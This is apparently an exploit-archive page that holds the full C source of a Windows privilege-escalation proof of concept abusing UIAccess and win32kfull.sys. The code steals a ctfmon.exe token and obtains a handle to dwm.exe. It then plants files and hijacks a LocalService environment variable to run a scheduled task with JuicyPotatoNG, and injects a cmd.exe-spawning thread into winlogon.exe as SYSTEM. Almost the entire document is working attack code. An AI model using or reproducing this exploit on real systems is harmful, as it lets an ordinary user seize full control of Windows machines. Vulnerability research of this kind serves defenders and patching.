4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / uiaccess_exploit.c C
// File: uiaccess_exploit.c
// Compiled: uiaccess_exploit.exe
// Author: Sascha Meyer
// Description: UIAccess exploit main program. Uses a logic bug of UIAccess processes interacting with win32kfull.sys.
//              The Function NtUserGetWindowProcessHandle doesn't checks for any ACL or integrity level when a process has UIAccess privileges.
//              This allows any user to obtain a process handle with full rights to the dwm.exe process (this process has LocalService permissions).
//              The exploit exe file needs to be in a folder where all users have read access (ex. create C:\Exploit) together with the exploit DLL file and the JuicyPotatoNG.exe file

#define WINVER 0x0600
#define _WIN32_WINNT 0x0600

#define _CRT_SECURE_NO_WARNINGS

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef strcmpi
#define strcmpi _strcmpi
#endif

#ifdef UNICODE
#undef UNICODE
#endif

#include <windows.h>
#include <tlhelp32.h>
#include <wtsapi32.h>

#ifndef PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
#define PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 0x00020000
#endif

BOOL CreateProcessWithParent(char* cmd, HANDLE parent)
{
	SIZE_T ptsize = 0;
	PROCESS_INFORMATION pi;
	STARTUPINFOEXA si;
	LPPROC_THREAD_ATTRIBUTE_LIST ptal;
	BOOL ret;

	InitializeProcThreadAttributeList(NULL, 1, 0, &ptsize);
	ptal = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, ptsize);
	if (!ptal)
	{
		return FALSE;
	}
	memset(&si, 0, sizeof(si));
	si.StartupInfo.cb = sizeof(si);
	if (!InitializeProcThreadAttributeList(ptal, 1, 0, &ptsize))
	{
		return FALSE;
	}
	if (!UpdateProcThreadAttribute(ptal, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parent, sizeof(HANDLE), NULL, NULL))
	{
		return FALSE;
	}
	si.lpAttributeList = ptal;
	ret = CreateProcessA(NULL, cmd, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (STARTUPINFOA*)&si, &pi);
	DeleteProcThreadAttributeList(ptal);
	HeapFree(GetProcessHeap(), 0, ptal);
	if (ret)
	{
		CloseHandle(pi.hProcess);
		CloseHandle(pi.hThread);
	}
	return ret;
}

DWORD GetProcessPID(const char* name, BOOL current_session, BOOL active_session)
{
	DWORD session = -1;
	DWORD proc_session = -1;
	PROCESSENTRY32 pe32;
	HANDLE snapshot = NULL;

	if (active_session)
	{
		proc_session = WTSGetActiveConsoleSessionId();
	}
	else if (current_session)
	{
		if (!ProcessIdToSessionId(GetCurrentProcessId(), &proc_session))
		{
			return 0;
		}
	}
	memset(&pe32, 0, sizeof(pe32));
	pe32.dwSize = sizeof(pe32);
	snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (snapshot != INVALID_HANDLE_VALUE)
	{
		if (Process32First(snapshot, &pe32))
		{
			do
			{
				if (current_session || active_session)
				{
					if (!ProcessIdToSessionId(pe32.th32ProcessID, &session))
					{
						continue;
					}
					if (proc_session != session)
					{
						continue;
					}
				}
				if (!strcmpi(name, pe32.szExeFile))
				{
					CloseHandle(snapshot);
					return pe32.th32ProcessID;
				}
			} while (Process32Next(snapshot, &pe32));
		}
		CloseHandle(snapshot);
	}
	return 0;
}

typedef BOOL(WINAPI* __CreateProcessA)(
	LPCSTR                lpApplicationName,
	LPSTR                 lpCommandLine,
	LPSECURITY_ATTRIBUTES lpProcessAttributes,
	LPSECURITY_ATTRIBUTES lpThreadAttributes,
	BOOL                  bInheritHandles,
	DWORD                 dwCreationFlags,
	LPVOID                lpEnvironment,
	LPCSTR                lpCurrentDirectory,
	LPSTARTUPINFOA        lpStartupInfo,
	LPPROCESS_INFORMATION lpProcessInformation
	);

DWORD WINAPI CMDThread(LPVOID p)
{
	__CreateProcessA _CreateProcessA = NULL;
	STARTUPINFOA si;
	PROCESS_INFORMATION pi;
	char cmd[8];
	cmd[0] = 'c';
	cmd[1] = 'm';
	cmd[2] = 'd';
	cmd[3] = '.';
	cmd[4] = 'e';
	cmd[5] = 'x';
	cmd[6] = 'e';
	cmd[7] = '\0';
	si.dwFlags = 0;
	si.cb = sizeof(si);
	_CreateProcessA = (__CreateProcessA)p;
	if (_CreateProcessA)
	{
		_CreateProcessA(NULL, cmd, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
	}
	return 0;
}

BOOL InjectStartCMD(HANDLE process)
{
	HMODULE kernel32 = NULL;
	__CreateProcessA _CreateProcessA = NULL;
	void* addr = NULL;
	HANDLE thread = NULL;

	kernel32 = GetModuleHandleA("kernel32.dll");
	if (kernel32)
	{
		_CreateProcessA = (__CreateProcessA)GetProcAddress(kernel32, "CreateProcessA");
		if (_CreateProcessA)
		{
			addr = VirtualAllocEx(process, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
			if (addr)
			{
				if (WriteProcessMemory(process, addr, (void*)CMDThread, 0x1000, NULL))
				{
					thread = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)addr, (void*)_CreateProcessA, 0, NULL);
					if (thread)
					{
						CloseHandle(thread);
						return TRUE;
					}
				}
			}
		}
	}
	return FALSE;
}

BOOL AddDebugPrivilege(void)
{
	HANDLE token;
	TOKEN_PRIVILEGES tp = { 0 };
	LUID luid;

	if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
	{
		if (OpenProcessToken((HANDLE)-1, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token))
		{
			tp.PrivilegeCount = 1;
			tp.Privileges[0].Luid = luid;
			tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
			AdjustTokenPrivileges(token, FALSE, &tp, sizeof(tp), NULL, NULL);
			CloseHandle(token);
			return (ERROR_SUCCESS == GetLastError());
		}
	}

	return FALSE;
}

typedef NTSTATUS (WINAPI * __NtSetInformationToken)(
	HANDLE                  TokenHandle,
	TOKEN_INFORMATION_CLASS TokenInformationClass,
	PVOID                   TokenInformation,
	ULONG                   TokenInformationLength
);

BOOL RunWithUIAccess(DWORD pid, WCHAR* cmd)
{
	HMODULE ntdll = NULL;
	__NtSetInformationToken _NtSetInformationToken = NULL;
	HANDLE hprocess = NULL;
	HANDLE htoken = NULL;
	HANDLE hnewtoken = NULL;
	SECURITY_ATTRIBUTES sa;
	SID_IDENTIFIER_AUTHORITY sia = { 0 };
	PSID sid = NULL;
	SID_AND_ATTRIBUTES saa = { 0 };
	TOKEN_MANDATORY_LABEL tml = { 0 };
	STARTUPINFOW si = { 0 };
	PROCESS_INFORMATION pi = { 0 };

	ntdll = GetModuleHandleW(L"ntdll.dll");
	if (!ntdll)
	{
		return FALSE;
	}
	_NtSetInformationToken = (__NtSetInformationToken)GetProcAddress(ntdll, "NtSetInformationToken");
	if (!_NtSetInformationToken)
	{
		return FALSE;
	}
	hprocess = OpenProcess(0x1000, FALSE, pid);
	if (!hprocess)
	{
		return FALSE;
	}
	if (!OpenProcessToken(hprocess, 0x02000000, &htoken))
	{
		CloseHandle(hprocess);
		return FALSE;
	}
	CloseHandle(hprocess);
	memset(&sa, 0, sizeof(SECURITY_ATTRIBUTES));
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	if (!DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, &sa, SecurityImpersonation, TokenPrimary, &hnewtoken))
	{
		CloseHandle(htoken);
		return FALSE;
	}
	CloseHandle(htoken);
	memset(&sia, 0, sizeof(SID_IDENTIFIER_AUTHORITY));
	sia.Value[5] = 0x10;
	if (!AllocateAndInitializeSid(&sia, 1, 0x2000, 0, 0, 0, 0, 0, 0, 0, &sid))
	{
		CloseHandle(hnewtoken);
		return FALSE;
	}
	memset(&saa, 0, sizeof(SID_AND_ATTRIBUTES));
	saa.Sid = sid;
	saa.Attributes = 0x20;
	tml.Label = saa;
	if (_NtSetInformationToken(hnewtoken, TokenIntegrityLevel, &tml, sizeof(TOKEN_MANDATORY_LABEL)))
	{
		FreeSid(sid);
		CloseHandle(hnewtoken);
		return FALSE;
	}
	FreeSid(sid);
	memset(&si, 0, sizeof(STARTUPINFOW));
	si.cb = sizeof(STARTUPINFOW);
	si.wShowWindow = 1;
	si.dwFlags = 1;
	if (!CreateProcessAsUserW(hnewtoken, NULL, cmd, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
	{
		CloseHandle(pi.hThread);
		CloseHandle(pi.hProcess);
		return FALSE;
	}
	CloseHandle(hnewtoken);

	return TRUE;
}

DWORD IsUIAccess(void)
{
	DWORD retlen = 0;
	DWORD uiaccess = 0;
	HANDLE token = NULL;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
	{
		GetTokenInformation(token, TokenUIAccess, &uiaccess, sizeof(DWORD), &retlen);
		CloseHandle(token);
	}
	return uiaccess;
}

typedef HANDLE (WINAPI * __GetProcessHandleFromHwnd)(HWND hwnd);

int main(int argc, char** argv)
{
	char username[64];
	DWORD bufsize = 0;
	char tmp[128];
	char path[MAX_PATH];
	char* ppath = NULL;
	DWORD pathlen = 0;
	HKEY key = NULL;
	HMODULE oleacc = NULL;
	__GetProcessHandleFromHwnd _GetProcessHandleFromHwnd = NULL;
	HWND hwnd = NULL;
	HANDLE target = NULL;
	HANDLE dup = NULL;
	DWORD ctfmon_pid = 0;
	DWORD winlogon_pid = 0;
	HANDLE winlogon = NULL;
	char cmdline[] = "cmd.exe";

	bufsize = 64;
	GetUserNameA(username, &bufsize);
	if (GetLastError() == 8 || !strncmp(username, "DWM-", 4))
	{
		pathlen = GetModuleFileNameA(NULL, path, MAX_PATH);
		if (pathlen)
		{
			bufsize = GetSystemWindowsDirectoryA(tmp, (DWORD)sizeof(tmp) / 2);
			if (bufsize)
			{
				strcat(tmp, "\\ServiceProfiles\\LocalService");
				bufsize = (DWORD)strlen(tmp);
				strcat(tmp, "\\exploit.exe");
				CopyFileA(path, tmp, FALSE);
				tmp[bufsize] = '\0';
				strcat(tmp, "\\system32");
				CreateDirectoryA(tmp, NULL);
				ppath = strrchr(path, '.');
				strcpy(ppath, ".dll");
				strcat(tmp, "\\srchadmin.dll");
				CopyFileA(path, tmp, FALSE);
				ppath = strrchr(path, '\\');
				strcpy(ppath, "\\JuicyPotatoNG.exe");
				tmp[bufsize] = '\0';
				strcat(tmp, "\\JuicyPotatoNG.exe");
				CopyFileA(path, tmp, FALSE);
				tmp[bufsize] = '\0';
				if (!RegOpenKeyExA(HKEY_USERS, "S-1-5-19\\Environment", 0, KEY_SET_VALUE, &key))
				{
					if (!RegSetValueExA(key, "systemroot", 0, REG_SZ, (BYTE*)tmp, bufsize + 1))
					{
						if (!system("schtasks.exe /Change /enable /tn \\Microsoft\\Windows\\Shell\\IndexerAutomaticMaintenance"))
						{
							printf("[+] Tasks enabled\n");
							if (!system("schtasks.exe /Run /I /tn \\Microsoft\\Windows\\Shell\\IndexerAutomaticMaintenance"))
							{
								printf("[+] Task started\n");
							}
							else
							{
								printf("[+] Cannot start task!\n");
							}
						}
						else
						{
							printf("[+] Cannot enable task\n");
						}
						RegDeleteValue(key, "systemroot");
					}
					RegCloseKey(key);
				}
			}
		}
	}
	else if (!strcmp(username, "SYSTEM"))
	{
		AddDebugPrivilege();
		winlogon_pid = GetProcessPID("winlogon.exe", FALSE, TRUE);
		if (winlogon_pid)
		{
			printf("[+] Found winlogon process: %u\n", (unsigned int)winlogon_pid);
			winlogon = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, winlogon_pid);
			if (winlogon)
			{
				printf("[+] Winlogon process opened: 0x%p\n", winlogon);
				if (InjectStartCMD(winlogon))
				{
					printf("[+] Process started: %s\n", cmdline);
				}
				else
				{
					printf("[-] Cannot start process!\n");
				}
				CloseHandle(winlogon);
			}
			else
			{
				printf("[-] Cannot open winlogon process!\n");
			}
		}
		else
		{
			printf("[-] Cannot find winlogon process!\n");
		}
	}
	else if (IsUIAccess())
	{
		printf("[+] UIAccess privileges detected\n");
		oleacc = LoadLibraryA("oleacc.dll");
		if (oleacc)
		{
			printf("[+] oleacc.dll library loaded: 0x%p\n", oleacc);
			_GetProcessHandleFromHwnd = (__GetProcessHandleFromHwnd)GetProcAddress(oleacc, "GetProcessHandleFromHwnd");
			if (_GetProcessHandleFromHwnd)
			{
				printf("[+] GetProcessHandleFromHwnd address: 0x%p\n", _GetProcessHandleFromHwnd);
				hwnd = FindWindowA("Dwm", NULL);
				if (hwnd)
				{
					printf("[+] Dwm HWND: 0x%p\n", hwnd);
					target = _GetProcessHandleFromHwnd(hwnd);
					if (target)
					{
						printf("[+] Process handle: 0x%p\n", target);
						if (DuplicateHandle(target, (HANDLE)-1, (HANDLE)-1, &dup, 0, FALSE, DUPLICATE_SAME_ACCESS))
						{
							printf("[+] Duplicated handle: 0x%p\n", dup);
							if (CreateProcessWithParent(GetCommandLineA(), dup))
							{
								printf("[+] Process started: %s\n", GetCommandLineA());
							}
							else
							{
								printf("[-] Cannot start process!\n");
							}
							CloseHandle(dup);
						}
						else
						{
							printf("[-] Cannot duplicate process handle!\n");
						}
						CloseHandle(target);
					}
					else
					{
						printf("[-] Cannot get process handle!\n");
					}
				}
				else
				{
					printf("[-] Cannot find Dwm Window!\n");
				}
			}
			else
			{
				printf("[-] Cannot find GetProcessHandleFromHwnd!\n");
			}
			FreeLibrary(oleacc);
		}
		else
		{
			printf("[-] Cannot load oleacc.dll!\n");
		}
	}
	else
	{
		printf("[-] No UIAccess privileges detected!\n");
		ctfmon_pid = GetProcessPID("ctfmon.exe", TRUE, FALSE);
		if (ctfmon_pid)
		{
			printf("[+] ctfmon.exe process found: %u\n", (unsigned int)ctfmon_pid);
			if (RunWithUIAccess(ctfmon_pid, GetCommandLineW()))
			{
				printf("[+] UIAccess process started!\n");
			}
			else
			{
				printf("[-] Cannot steal token for UIAccess process!\n");
			}
		}
		else
		{
			printf("[-] No ctfmon.exe process found in current session!\n");
		}
	}
	return 0;
}